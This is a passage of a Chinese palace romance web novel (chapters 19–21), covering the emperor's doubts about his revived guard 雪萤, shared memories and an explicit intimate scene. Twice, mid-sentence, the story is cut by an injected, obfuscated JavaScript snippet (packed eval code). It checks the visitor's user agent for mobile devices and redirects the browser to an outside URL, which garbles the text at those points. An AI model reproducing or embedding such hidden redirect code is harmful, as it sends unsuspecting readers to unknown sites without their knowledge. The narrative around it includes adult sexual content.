“这——”谢陵有些错愕,“陛下,那得好好敲打万笠,他以前是‘中术’的人,现在是太后的人,不能再让他与雪大人接触,否则他那张嘴,迟早要把当年的一些事情说给雪大人听。” 义蛾生道:“朕要是想这么做,还用得着等你来说么?” 谢陵又愣住了。他忽然有了一个可怕的猜想:“陛下是故意放万笠接近雪大人……” 他感到难以置信,忍不住想去观察陛下的神色,却又不敢抬头直视帝王的威严。 义蛾生说:“对。” 谢陵好一会儿才说:“臣不明白。” “朕不想瞒着他。”义蛾生的声音里听不出什么情绪,“但又没办法亲口向他坦诚。” 纵然他语气中什么都没有,可谢陵却忽然感到一阵心酸。 他深知陛下这十年过得如何艰难,一边站在悬崖绝境上,摇摇欲坠,一边又让王公诸侯们残忍地咬着命门,即便是这样,他依然想做一个好皇帝,接下这让先皇败得千疮百孔的江山,想要为天下人谋福祉,叫百姓安居乐业。 他就这么孤寂、清冷地活了十年,终于等到雪萤回来,明明二人相互都这样珍爱彼此,却还是要因为当年那些伤害他们的人,隔着一道无形的屏障,解不开心里的结。 谢陵心里清楚,陛下并不是毫无章法地做事,他只是太过于为雪萤考虑。 正是因为太在乎,所以才要让自己承受煎熬与炙烤。 谢陵在心头感叹一声。他不便指点主子的决定,只得委婉问道:“雪大人这会儿复生之后,陛下对他到底如何打算的呢?” 义蛾生几乎想都没有想便答道:“好好地活着,不受任何伤害,过得开心。” 这是他用十年思考得来的答案,所以根本不用想就能脱口而出。 他又想到什么,补充一句:“他要是实在不想练刀,不练就是了,叫他去接管第三卫所,先前直接呈报上来的消息,以后都先给他。” 谢陵:“……” 这都已经不能用“宠”来形容,这是溺爱到没边了。 他却不知为何舒了口气,心思大胆了一些:“陛下,臣以为,雪大人在您身边,才最开心。” 好一会儿没听见皇帝的回应,他心中惴惴,以为说错话,这时听见陛下的声音传来:“是么。” 语气冷淡,既像是不在意,又像是不信。 话题聊得有些死,谢陵不知道该再说些什么,却又听陛下道:“等到有一天,他若想起当年那些事情,是否还能如这般毫无芥蒂、无忧无虑地与朕相处?” 谢陵怔了一怔。 他追随陛下已逾十年,与他在这深宫中扶持并进,亲历了无数残酷的生死争斗,早已看透人心,很清楚这个问题的答案必然不会尽遂人意,在万般无奈的命运下,没有任何人的心还能保持着最初的赤忱,不生出半分裂缝。 可—— 如果那个人是雪萤,或许也不一定…… 义蛾生说:“谢陵,朕一直在想,当年他死前最后说的那句话,是什么意思。” 自古忠义两难全,雪萤的心很小,只装得下你们两个人,所以,雪萤都想要…… 他声音冷淡:“谢陵,他那时已经知道,朕与太子,是两个人。” “所以这十年里,朕也一直在想,他既然知道这件事,那到底是无法分清我们二人,将太子视作正统的继承人,所以才会来刺杀朕,还是说,他知道以后,认为朕欺骗他,玷污他的身子,出于报复才要这样做。” 谢陵悄悄抬眼,瞥见面容峻漠的帝王闭了闭眼,叹出一声气:“谢陵,朕一直在自欺欺人。这两个可能性虽然都不好,但朕希望是前者。” 希望他只是傻傻分不清谁才是他真正的主人,叫人哄骗来刺杀他;而非一颗玲珑心巧,能分辨二人谁是真太子、谁是假太子,憎恨假太子欺骗他一颗赤胆忠心,叫怨恨驱使着来伤害他。 义蛾生睁开眼,收起方才那一瞬的迷茫:“天萤族,一生一世,只追随一位主人。” 这既是他们高洁的品德,这也是一个诅咒,让无数天萤族人为此而死。 雪萤的父母因此而死,就连他自己,恐怕也是…… 义蛾生的心,又一次慢慢凉了下去,让他感到很不是滋味。 谢陵微微抬头,道:“陛下,可是臣以为,那句‘自古忠义两难全’,不像是雪大人会用的说法方式。” 见皇帝不语,他继续说了下去:“陛下,您仔细回想雪大人平时与您怎么说话的,他不大可能像这样……引经据典的,倒像是——” 他顿了顿:“倒像是,有人教他这么说的。” 义蛾生依然没说话,但神色显然是在沉思。 他仔仔细细回忆了过去、现在,与雪萤相处的诸多细节,越发的印证了谢陵此话的合理性。 的确,雪萤说话方式不是这样的。 就算是真的让怨恨驱使着来刺杀他,死前最后说的话也应该是,“我讨厌你!”,而不是文绉绉地掐一句“自古忠义两难全”。 虽然心情糟糕,但回想了一番雪萤说话的情态,义蛾生心情却好了这么一些。 他定了定心神,道:“看来此事还有必要再做调查。” 谢陵皱起眉:“可当年‘中术’组织的那些方士们,没留下一个活口,知晓当年真相的,除了他们,便是太后这边,想要从太后那里探知消息,应该没那么容易。” 就这么两句话的功夫,义蛾生心头思绪百转,生出一个计划的雏形。他向后靠在椅子上,淡声道:“不是还有个万笠么。” 听陛下似乎想把希望放在万笠身上,谢陵不经苦笑:“可他实在不靠谱……” “朕心里有了些想法。”义蛾生道,“不必干涉他与雪萤来往,雪萤聪明,不会轻易叫他伤害到,他们要是离宫,你再让人多留意着。” 他想了想,又说:“有一封信需要送去崇元王那边,叫……士云去,别让雪萤知道。” 谢陵低头答“是”。 义蛾生转过头,正好看向窗外。 粼粼的波光倒映出水面上盛开着的金线宝荷。在雪萤醒来的时候,它们正是开得热烈灿烂,转眼数日过去,许是花期由盛转衰,不少花瓣上已经显现出衰败的征兆。 他不由得又想起雪萤,片刻后出了声:“等到调查清楚,再跟他慢慢说明真相吧。” “到那时候,是想留,还是想走,叫他自己选。” 他忽然想起怀里那张先前雪萤刚醒来时,叫他签下的契约,心里感到了一阵酸楚。 本就是始于欺骗得来的东西,迟早都会失去,再是执着,也该要放下。 他的爱是占有,他是皇帝,这份占有中更是包含着权力的倾轧,可他还是会像平常人一般,在炽烈纯真的爱人面前难免自觉亏欠,所以这份占有才有了前提,那就是想要他过得好。 所以一直以来,才会让雪萤自己选。 第一次见面的时候,他在众多优秀的天萤族人当中,选中了雪萤,但他还是要问,“你愿不愿意认孤做主人?”;后来他想要雪萤成为自己的枕边人,明明只需要下一道命令,他依然会问他,“你愿不愿意承恩?”;等到以后,即便他能用皇权将雪萤困在深宫,留在身边,他想自己还是会问—— “你愿不愿意和朕永远都在一起?” 他与太子是双生子,本该也是天潢贵胄,命运却残酷地夺走他尊荣的身份与地位,成为黑暗中一道没有名字的影。他从来都没有得到过一份真正意义上的爱,却因为认识了那个人,在与他朝夕相处间,自己学会了爱的本能。 晚上回到寝宫,义蛾生神思还有些恍惚,显得神色越发冷淡。雪萤便以为主上还在冷落他,坐在现在已经属于他的软榻上,只拿眼睛盯着主上看,心里琢磨着万笠白日跟他说过的那些话,还有万笠那本书里的内容,发愁该怎么试探才好。 他的眼神灼灼,义蛾生总算是注意到了,忽然想起什么,走过来往雪萤手心里塞了什么东西。 雪萤摊开手掌,看见是四枚器珠。 他惊喜不已:“今天有双倍俸禄!” “不是双倍。”义蛾生纠正他,“是先前罚了你一日俸禄,朕想了想,你也没什么过错,今日便还给你。” 雪萤有些迷糊:“怎么又不罚了……” 义蛾生想起前几天凌阳侯心急火燎跑来向他投诚的事情,微微勾起唇角,将手放在他脑袋上按了按:“不想要?” 雪萤一听,生怕主上又给自己收走,连忙缩回手藏在身后:“要要要。” 他复生这么多天,已经从主上手中攒下不少器珠,全部装在那个钱袋子中,一个都没拿去兑换银两。里面积攒的器珠多了起来,沉甸甸的,带在身上不大方便,雪萤便放在软塌的枕头下,反正这地方差不多被默认为他睡觉的地方,已经是他自己的地盘。 他翻了个身,撅着屁股跪趴在软榻上,将钱袋子里的器珠倒出来,和刚才得到的四枚放在一起,拿手指拨弄着清点。 都有这么多了,不知道能换多少钱呢…… 他专心致志地数着器珠,早把要“讨好”主上的事情抛到脑后。义蛾生站在后面,看他这副姿势,忍不住的想笑。 跟个趴在地上刨土的小狗似的。 这种时候坏心的主人就会伸出手“突袭”,在小狗的屁股上猛地拍一巴掌。全神贯注的小狗受到惊吓,就会抬起头朝打扰它的人不满地龇牙咧嘴,但等到看清楚作恶的人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418516|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的主人,知道不能朝主人逞凶,于是只能无辜迷茫地睁着眼,用眼神询问主人要干什么。 义蛾生真的这么干了,一巴掌不轻不重拍下去,雪萤差点没蹦起来,在软榻上翻了个身,脸色慢腾腾地涨红了。等到对上主上带着几分戏谑的目光,他知道自己被作弄,不高兴地哼唧道:“坏蛋主上。” 义蛾生故意板着脸,声音严肃地说:“自己犯了错不反思,还先发制人怪上朕?” 雪萤一下就紧张起来,不安地绞着手指:“又、又犯什么错啦?” 义蛾生一低头,就能看见从他衣领口蜿蜒出来、嵌在雪白颈子上的狰狞伤口。他抬起手,掌心覆在雪萤的喉咙处,自欺欺人地盖住那道伤疤,但这样的举动,却自然而然地带了几分侵略与威胁。 “你昨晚没吃饭,是么?”义蛾生轻声问,“今天也只有早上吃了饭,中午和晚上也都没吃,是不是?” 主上每日这么繁忙,还会关心这种事情?雪萤有些惊异,但眼下当务之急是怎么糊弄过去,他不止这两日没有好好吃饭,因为不喜欢内侍司为他准备的花蜜口味,这段时间他都没怎么好好吃东西,实在饿了才喝些无根水。 雪萤飞快地转动着脑子,回想万笠给他那本《讨好主子的一百种方法》,其中第十四种说的好像就是,如果受到主子的责问,哪怕自己真犯了错,也要往对主子有利的方面辩解。 雪萤无师自通,脑中灵光一闪,眼神胡乱飘着:“因为,因为这几日,主上好像不太开心,雪萤忧思主上,这才没什么胃口……” 义蛾生这回是真笑起来了,他就该拿镜子给雪萤照着好好看看,自己撒起谎来是什么模样——神态紧张,眼神乱瞟,唯一的心眼子全部直直白白地写在脸上,生怕别人不知道自己在撒谎似的,这一点还跟以前是一模一样。 他从不担心雪萤会欺瞒他,天萤族心性澄澈,心是赤子心,眼是通明镜,心是何等模样,眼便映照出什么模样,叫人一眼就能看透他们的忠心赤胆。雪萤生性活泼,偶尔会像现在这样撒撒谎,都称不上撒谎,应该叫调皮捣蛋。 义蛾生捏着他的喉咙,手指在他微微凸起的喉结上摩梭着,俯身下来,呼吸逼近,低声问:“当真?” 叫那一阵一阵的热意扑在脸上,雪萤很快又红了脸,越发地紧张:“当、当……” 他终于装不下去了,苦着脸说:“当然是假的……” 义蛾生“嗤”的一声笑起来。 可爱死了,怎么还跟以前一样可爱呢。 他松了捏着雪萤脖颈的手,转而移到他下巴处,微微笑道:“到底是因为什么?” 雪萤小声哼哼答:“因为,因为不好吃。” 他飞快地抬头偷看一眼,发现主上并不像在生气,这才大着胆子又说:“臣只是不喜欢那种花蜜浓郁的味道,所以才吃得少,不是故意不吃的。” 义蛾生愣了愣,他知道雪萤要吃蜜,于是自作主张替人安排了,却忘记花蜜也是有许多种,需要分口味的,没有问过雪萤想吃哪种。 他问:“先前怎么不说?” 雪萤低着脑袋戳手指:“主上好像不是很想理会雪萤,雪萤不敢说。” 义蛾生心里叹了一声。 这件事责任全在他,雪萤再是性子开朗,这醒来没多久,潜意识里终究是要依赖他。他既没有问过雪萤意见,又拿反复无常的态度对他,把他吓得什么都不敢说,受了委屈也憋在肚子里,要不是他主动问起,只怕雪萤会一直这么憋下去。 他于心有愧,连说话声都温柔了许多,抬手摸着雪萤的脑袋,道:“以后这种事情不用跟朕说,想吃什么,自己去跟内侍司的人说。” 自己去说效果就不一样啦。雪萤一边想着,一边往主上手里凑,神色乖巧得紧:“还是主上疼雪萤……但要是那处不舒服怎么办呢?好像不能跟别人说,要是不跟主上说,就没有人能说了。” 他露出有点可怜的神色:“万一,雪萤难受死了怎么办?” 义蛾生压根没想到他说的“那处”是什么,听他说不舒服,心里紧了起来,语气都急促了几分:“哪里不舒服?朕看看。” 雪萤立即跟打了鸡血似的蹦起来,站在软榻上,三两下除了自己的裤子,速度快到义蛾生根本反应不及阻止,便显出自己修长的双腿,只剩下衣摆垂落下来,掩住腿根。 他重新在软榻上跪下来,膝行贴到主上身边坐着,暴露在空气中的腿像是某种藤蔓,并不粗壮,但也不柔软,线条流畅利落,有一种健康的有力感,吸引着人移不开目光。 义蛾生盯着他半掩在衣摆阴影下的皮肤,整个人都愣在原地。虽然看过许多次,虽然前几日刚看过,但这乍然入目带来的冲击感,大概只有他一个人能体悟到,是何等的甜蜜,又何等的折磨。 就在他走神的这么片刻,雪萤已经大逆不道引着他的手来到“那处”,像个涉世不深的小狐狸,不知俗欲却要勾人堕落:“就是这里……” 20. 第 20 章 义蛾生很快便回过神来。 他没有将雪萤推开,也没有收回手,只是保持着这样的姿势,心里既好气,又好笑。 他忽然想起过去十多岁那会儿,成天叫雪萤迷得昏头昏脑,恨不得时时都抱他在怀里,不是没有原因的。 要是年轻个十岁,说不定这会儿早扑上去,好好给他一顿收拾。 不过今日不同以往,他有对付小狐狸的心性,也有对付他的手段。他信手摸了摸,另一手却环过雪萤雪白的脖子,让他禁锢在自己掌中,才慢慢地开口道:“小骗子,你连硬都没有硬,还敢说难受?” 雪萤果然迷茫地瞪大眼,似乎对自己瞬间露馅这件事十分无法理解。 义蛾生拿手指勾着他下巴温柔地逗弄:“怎么这么好色呢,天天想这种事,嗯?朕看你不该叫萤宝宝,应该叫淫宝宝……” 雪萤压根分不清他说的“萤”和“淫”,就听见个“宝宝”,一个劲地往主上怀里拱:“嗯嗯嗯,雪萤是主上的宝贝……” “别闹了。”义蛾生感叹着这小祖宗当真个会折磨人的,手在他屁股上又不轻不重地扇了一巴掌,“裤子穿上,带你去看点东西。” 啊?雪萤立即垮了小脸,可他又不敢不听主上的话,只得翻身爬起来,把飞到地上的裤子捡起来,磨磨蹭蹭地穿好了。 唉,难道说,主上当真不疼他了? 义蛾生没留意他失落的神色,只牵着他,两人穿过寝宫,来到另一处雪萤没有进过的房间。 这里面空间非常大,装修却显得十分朴素,除了一扇门、一扇雕花窗,还有一方体积非常大的靠墙柜子,便再没有多的东西。 刚走进来,雪萤便觉察出这处房间中尘封的气息,像是许久许久都不会有人进来,所以连时间都会将它遗忘。 他转过头望着主上,不明白来这里的用意。义蛾生便抬起右手,手指伸入紧贴在左手手腕处的玄衣下,扯出一条细绳。 绳子的末端坠着一把青铜色的小钥匙。他放在雪萤摊开的手掌中,目光指向靠墙的柜子,跟雪萤道:“打开看看。” 雪萤拿着钥匙走向柜子,低头打开那道看起来许久没有让人碰过的锁。柜门打开,显出柜门后整整齐齐的十几排隔层,每一道隔层上,都摆放着许多跟手指一样高的白瓷瓶。 雪萤“哇”了一声。他凑到柜子里看了看,眼睛差点都要看花,只得随便拿起手旁一只瓶子,一边打开,一边问:“这里面装了什么?” 义蛾生靠在门边,昏暗的光线照得他眉眼温柔许多:“你闻闻。” 雪萤照着他的话低头闻了闻瓶子,闻到一阵阵香甜的气息。他好像不太确定,又闻了一次,脸上露出惊喜的笑容:“诶,是花蜜的味道?” 他被激起好奇心,放下瓶子,又去拿旁边的瓶子,打开来嗅嗅:“这个也是花蜜——” 剩下的瓶子也被他挨个打开查阅,他感到很惊奇,在主上的这个柜子里竟然藏着这么多花蜜,只不过每个瓶子里的花蜜都很少,只有薄薄的底面一层,还有些发干,为什么会这样呢? 打开第六个瓶子时,里面没有飘出花蜜的味道,雪萤有些奇怪:“这里面什么都没有……不对,有露水的味道?” 他拿着瓶子,转头看主上:“这个瓶子里的露水干了。” “嗯。”义蛾生淡淡道,“以前装的是露水,放的时间太长,干了。” 雪萤好奇道:“主上为什么要收着这么多干了的花蜜和露水瓶子?” 义蛾生望着他不解的面容,很轻地笑了笑。 因为,这本来就是为你准备,本想等你回来就能吃上的。 十年前雪萤刚死没多久,他发了疯血洗“中术”,义遥风也不在,他一个人,要承受着失去至亲之人的痛苦,要继承皇位,肩负起满目疮痍的河山,要遭人非议,被苛责质问,还要制衡朝中各方势力,与王公诸侯尔虞我诈。 他一度差点崩溃,除了在雪萤死时和血洗“中术”时,之后有好几次想要寻死。他只能强迫自己转移注意力,把渺茫的希望寄托在等雪萤醒来。他浑浑噩噩的,凭借着本能,还像以前那样,给雪萤收集食物,仿佛这就是他活下去的理由。 那也确实让他支撑下来,终于度过那段昏暗无光的日子。等到后来他的心性坚定起来,能够游刃有余地扮演一名皇帝,心肠也变了许多,他不再一昧沉溺在悲伤中,却变得越发难以捉摸和不择手段,好像这个世界上已经没有什么值得他同情与温柔以待的东西。 那一柜子的花蜜和露水,也渐渐地让他忘记了,直到今晚听雪萤提起,他才重新想了起来。 义蛾生不想跟雪萤讲这些往事,只道:“朕不是说过,以前就是这么养着你的。” 雪萤捧着一只瓶子,低下头沉思着。过了一会儿,他转身跑到主上面前,眼巴巴地望着他:“以前的事情雪萤都不记得,主上还能讲讲更多么?” 义蛾生低头盯着他,见他似乎忐忑着,好像想要更靠近他,甚至触碰他,却不敢冒犯他,心里不知怎么有些难受,却又觉得他还是这么乖得让人暖心。 于是他稍微伸出手,雪萤立即明白了他的意思,眼睛一亮,乖乖地伸手拉住了他的手。 两人就这么席地坐了下来。义蛾生低头盯着雪萤拉着他的手,问:“手还疼么?” 手?雪萤愣了愣,低头一看自己缠着绷带的双手,这才想起,他白日练刀磨破了手,虽然没什么大碍,但还是有些疼的。 他本想说不疼,可他又想起面前这人是他的主上,他早已惯会撒娇讨宠,于是说道:“有些疼。” 义蛾生将他手摊放在自己掌心中,想起以前,雪萤那双手是他全身上下最粗糙的部位,他时常握着刀,既要保护他,还要保护义遥风,心里忽然就有些后悔这么急着赶他去习武。 他正想说要不就不练刀了,话都要到了嘴边,却说不出来。他知道习武练刀对雪萤有很重要的意义,他不能打着爱的名义,就要将它从雪萤的人生中剥夺。 义蛾生犹豫着道:“要不,下次……” “其实也没有很痛的。”雪萤怕他担心,连忙又说,“只要、只要……” 义蛾生垂眸看他:“只要什么?” 雪萤转着他那双灵动的狗狗眼:“只要主上给吹吹,马上就不痛了!” 义蛾生愣了一下,慢慢地笑了起来:“你啊。” 雪萤满眼无辜地望着他,相当的理直气壮。他好像知道,自己这样微不足道的要求一定会被满足,所以才敢如此放肆。 但他的主上低下头来,并没有如他所期待的那样,给他吹一吹伤口,而是—— 隔着绷带,在他手心处落下很轻的一吻。 雪萤愣住了,心头砰砰乱跳起来。他原本想要的并不多,可他的主上却给了他更多,让他一下乱了心神。 他还没有来得及从慌乱的情绪中抽离出来,他的主上已经抬起头,将他双手握在掌心中,跟他说起了过去的事情。 当年雪萤进宫后,白日里还是跟在太子身边,只有晚上才是与他相处。义遥风这家伙,成日里没心没肺的,决计不会细心照顾雪萤,最喜欢干的事情,就是带着雪萤到处找那些贵族子弟一起玩,跟他们炫耀雪萤轻盈的身法和怪力。 没办法,义蛾生自己挑的人,只能自己苦读《天萤族饲养手册》,然后照顾雪萤。他知道了天萤族需要进食花蜜和无根水,花蜜好弄,可这无根水,也就是露水,并不好弄到,雪萤只是个小小的侍卫,谁会跟伺候主子似的,还大费周章地专门替他收集露水? 雪萤自己倒是不大在意,要么就喝普通的水,要么就趁着没人看见,爬到树上舔舔树叶上的露水。义蛾生心疼他,又怕他爬树行为叫人看见做文章,这宫里都是吃人不吐骨头的人,雪萤心思单纯,很难说不会被人算计。 他思来想去,终于想到一个法子。他那会儿也才回宫不久,他不像义遥风,从小就长在宫廷中,被太后悉心教导着,他要学的东西有很多,除了皇子的礼仪与宫里的规矩,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418517|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要看很多很多书,否则就会跟不上义遥风的进度,扮演不好太子。 他想到的办法就是,每日凌晨早早地起来,站在树下面,一手拿着书苦读,一手拿着瓷瓶接在树叶下,收集露水。等到天快亮的时候,他就带着收集的露水回到寝殿,喂给还在呼呼大睡的雪萤喝。 哦,对,雪萤进宫没多久,夜里就在他旁边的软榻睡觉了。 一开始的安排是,既然是侍卫,夜里肯定是要为他值夜的。可雪萤年纪太小,正是长身体的时候,晚上值夜站不了多久,就要点着脑袋打瞌睡,义蛾生看得发笑,又想让这么大的小孩儿给自己值夜实在没必要,于是偷偷将雪萤牵回房间,把床旁边的软榻分给雪萤,让他以后晚上就在上面睡。 也不知道到底谁给谁值夜……他经常还要熬夜用功读书,雪萤在旁边倒是睡得香甜,一觉睡到太阳晒屁股才起来,然后跟义遥风出门玩。 不过雪萤也不是睡得毫无知觉,该有的警觉性还是有的,一听见不属于主人的动静,立即就会醒过来东张西望,这一点倒是像个看门小狗。 就这样,一起度过了快十年。 义蛾生有意略过他与太子是两个人的事情,只挑着他与雪萤相处的日常说了。雪萤坐在他身旁,听得津津有味,脑袋一点一点的,等到他渐渐停了话声,雪萤就在他手臂上蹭了蹭,然后说:“雪萤跟主上在一起了十年呢。” 十年?义蛾生愣了愣,是啊,在一起了十年。 他偷来了雪萤相伴的十年,上天便要给他惩罚,让他接下来无望地苦等十年。 以后呢,还有下一个十年么? 义蛾生侧头看了一眼,只看见雪萤漆黑的发顶。他勉强地笑笑:“对。” 雪萤直起身,他似乎对主上突然低落的情绪有所察觉。但不等他发问,就让义蛾生的声音打断:“起去。” 雪萤不明所以,听话地从地上爬起来。义蛾生又道:“去把剩下的瓶子都闻闻,喜欢哪种味道就留下来,到时候叫内侍司给你换着口味准备。” 停顿一下,说:“闻就行了,不要吃,放的时间太长,可能已经变质了。” 哦——原来是带他过来挑选花蜜口味的。雪萤恍然大悟,一边美滋滋地想着主上真好,一边凑到柜子里,把瓶子们都打开,挨个嗅嗅。 义蛾生就坐在后方地上,看着他不知道在忙些什么但又很忙碌的背影,淡淡地笑了笑。 对,他的雪萤就该这样,一辈子无忧无虑的。 过了许久,义蛾生见他似乎把瓶子都翻完了,出声问道:“挑好了?” 雪萤把好几只瓶子抱在怀里,手上还不停地往怀里塞更多的瓶子,都快要兜不住,简直贪得要命,义蛾生越看越好笑,起身走过去,替他将瓶子接了下来。 他问:“这些全部都要?” 雪萤犹豫一下,然后挑出几个瓶子放了回去:“这些不要……” 他又从义蛾生怀里拿出一只瓶子:“这个最香!到时候一定要多来点。” 他扯开瓶塞,将食指伸进瓶口,勾出一点残余的花蜜,然后将手指塞进嘴里,砸吧砸吧几下。 义蛾生:“……” 他非常地头大,正要训斥雪萤:“不是叫你……” 话刚说一半,雪萤忽然凑了过来,双手搭在他手臂上。 义蛾生下意识要退,可他身后就是柜子,退无可退。他还发现自己挣不出手臂,因为雪萤抓着他的双手,稍微用了他那独有的怪力,只为将他留在原处。 义蛾生微微有些发愣,因为他已经许久没有遇到过雪萤对他使力的情形了。正当他还没有想好该怎么办时,雪萤已经踮起脚,在他嘴唇上很轻地蹭了蹭。 于是义蛾生也吃到了他嘴边花蜜的香甜。 他的意识有一瞬间的失灵,魂魄被清甜的气息托举着升上半空,已然无法操控身体动作。而雪萤收回手,重新在他面前站好,嘿嘿笑道:“主上也要尝尝喜不喜欢,不然以后还亲雪萤的时候,不喜欢怎么办?” 21. 第 21 章 这样的一句话,让义蛾生如遭雷击,飘在半空中的魂魄震荡起来,又重新回到他的身体。 然后立即感觉到了仿佛从骨髓中渗出的甜蜜与苦涩。 他的雪萤,时时刻刻都在惦记着他的。 但是很快的,义蛾生叫另一件事吸引过去注意力:“还?” 雪萤:“……” 呃,糟糕,一时嘴快说漏嘴了。 不能让主上知道他之前夜里没有让迷药迷晕,所以对主上的所作所为都知道得一清二楚的事情啊。 雪萤连忙磕磕巴巴解释道:“没,没有还,雪萤还不太会说话,说错了。” 他低着脑袋,能够感受得到主上垂下审视的目光,他心里忐忑不安,以为自己小小的谎言又叫主上一眼看穿,于是绞尽脑汁地想要找补。 可他的主上只是轻叹了一声,然后伸出手,将他拢在了怀里。 义蛾生说:“下次,不要再给朕吃放了十年的花蜜了。” 雪萤惊喜地抬起头:“那这次就算了嘛?” “这次就算了。”义蛾生用另一只空着的手固定住他的后颈,然后低头亲了下去,“朕也很喜欢这个味道,只要是吃在你嘴里的,朕都喜欢。” 他的宝贝就在面前,向他献上诱人的甜香,他有什么拒绝的理由呢?于是他又一次忘记白日里刚立下的誓言,要和雪萤保持距离,只想像过去那样,在每一个苦到极致的时刻,还能舔上一口属于雪萤的香甜。 雪萤呆呆地立着,呆呆地让人亲吻着。他并不能够完全理解主上这番举动的意义,却知道温顺乖巧地站着,无条件地接受主上对他做的任何事情。 嘴边那点花蜜很快叫义蛾生吃了个干净,他卷着雪萤的舌头亲,往他舌根深处侵犯,那样霸道的亲法亲得雪萤几乎快要窒息,又被堵得说不出话来,只得呜呜咽咽地求饶。可他的主上并不会在这种时候轻易放过他,反而将他困在身体与柜子之间,还要他抬起头,敞开柔软的口舌接纳自己。 他让眼泪糊了满脸,世界开始变得斑驳不清,只剩下边际模糊的色块。在这种时候,身体的感知被无限放大,于是他很快感受到了,主上的手在抚摸着他,熟悉的温暖让他控制不住想要靠近,越近越好,哪怕要蜷缩在主上的掌心中。 义蛾生松了按着他后颈的手,终于肯抬头放过他。但这也只是表象,他要雪萤环着自己,就好像前几日那样,雪萤刚醒来时凭着本能做出的动作,他那时觉得轻佻,现在却觉得刚好。 雪萤叫他面对面抱了起来,猛地一惊,睁开湿漉漉的眼睛:“什么……” “雪萤儿,”义蛾生叫他,“你刚才不是说难受么,想不想继续?” 雪萤闷声哼哼道:“想……” 义蛾生低声笑了笑,伸手拂开他柔软的鬓发,在他光洁的脸侧落下一吻:“那你乖,朕就让你舒服。” 雪萤张开双手,将他脖子搂紧了一些:“雪萤一直都乖。” 义蛾生将他抱着回房内,雪萤的体重还是那么轻,轻到让他有种抓不住的不安感。他将雪萤安放在床榻上,自己也坐下来,将他垂落在床边的长发捞到枕边团着,捏住他的脸蛋轻声问:“怎么就躺上了,现在该做什么?” 雪萤愣了愣。该做什么……他忽然脑中灵光一闪,嘟囔着道:“早知道刚才就该那样……” 义蛾生忍不住笑了:“不害臊。” 雪萤跪坐在床榻上,搂着他的腰,将脸挨着他的玄衣:“反正只有主上在,才不害臊呢。” 义蛾生捞起他,从身后抱着他,嘴唇在他耳边蹭蹭:“要朕帮你可以,但是不能只你一个人享受。” 雪萤扒着他的手臂,努力想回头看看:“那要怎么样?” 义蛾生贴着他的颧骨亲吻,声音低哑,在他耳边说了几句话。 雪萤忽然就想了起来,主上想迷晕他的那夜不也是如此?可让主上亲密地抱在怀里亲吻,明明就是很开心的事情,为什么主上一定要将他迷晕呢? 雪萤苦思不得其解,但他很快便无暇分神想这些事情。他被亲得舒服过了头,蹬着腿又哭又闹,泫然欲泣的叫声中却不是痛苦,而是要把他身体里的全部甜意,都喂到主上的嘴里去。 被亲吻到几近窒息时,他仰起头喘息,拉长了雪白的脖颈,那道狰狞的旧伤也随着他的动作彻底暴露出来,浸在细密的汗水中。在温柔但又不容他反抗的对待中,尝到了主上许诺要给他的甜头。 义蛾生的眼神落到他那伤上,呼吸滞了一瞬。 他突然失了控,无法克制地露出牙锋咬住那道伤,含在唇齿间啃噬。 他想起快乐的十年,又想起孤苦的十年,一瞬云端又一瞬地狱,身体中催生出极端的爱欲与极端的痛苦,两种情绪暴烈地拉扯着他,几乎将他的理智撕碎,于是他越发疯狂地咬住那道伤,想把它从雪萤的皮肉中扯出来,然后问他—— 为什么,要把刀刺进自己的脖子? 就算真的恨他,那就把第二刀也刺进他的身体,为什么一定要伤害自己? 是想彻底摆脱他,是想忘掉他带来的伤害么? 义蛾生那颗早已坚硬的心,早已变成磐石的心,忽然痛到让他无法呼吸。他变成了旱地中渴水的鱼,困在自我责问的迷宫中,在没有得到那个真相之前,忘却过往的雪萤也没法将他捞起。 可就在这个时候,哭到泪眼朦胧的雪萤侧过头,拱着身体凑了过来,含住他的嘴唇没什么力气地亲吻着,像是小猫舔主人。 “好舒服啊。” 雪萤带着浅淡花蜜香气的呼吸扑在他脸上,细密睫毛下掩着迷离的目光,问他:“主上,你舒服么?” 于是那一瞬间之后,他那暴躁难安的心,忽然平静了许多。他的心早已是烈火焚烧过后的荒芜土地,现在被春风吹拂而过,虽然表面上仍是无边无际的灰烬,但在灰烬之下,却生出了新的生命。 义蛾生将他搂在怀里,回应了他一个很轻、但又绵长的吻:“朕也很舒服。” · 他总会梦见很多年前的事情,尤其是像现在这样,将雪萤抱在怀里时。 在那些无数个见不得光的夜晚,他时而会把雪萤搂在身边一起睡觉,雪萤总是那么朝气蓬勃,要缠着他叽叽喳喳地说个没完没了。 他有很多要说的话题,在他以为和自己主人出门玩的白天,实际上是和义遥风一起,每一个细节他都会清清楚楚地记住,然后反复拿出来回忆。大部分时候义蛾生听了都不高兴,但又不想扫他的兴,于是假装和他一起“回忆”。 有一次,雪萤问他:“主人以后是不是会做皇帝呢?” 义蛾生心里“咯噔”一下,嘴上却淡淡地答道:“是啊。” 雪萤“唔”了一声,神色看不出是高兴、或者不高兴。义蛾生问他:“你想回天萤谷?” 他知道雪萤会想家,尤其是刚进宫那会儿,经常夜里做梦会哭着喊爹娘。义蛾生看见了,就将他抱进怀里,慢慢地哄他安静下来。 “想是想。”雪萤露出有点纠结的表情,“可阿爹阿娘都不在了,回去的话,还要叫族里的长辈们照顾我,实在过意不去呀。” 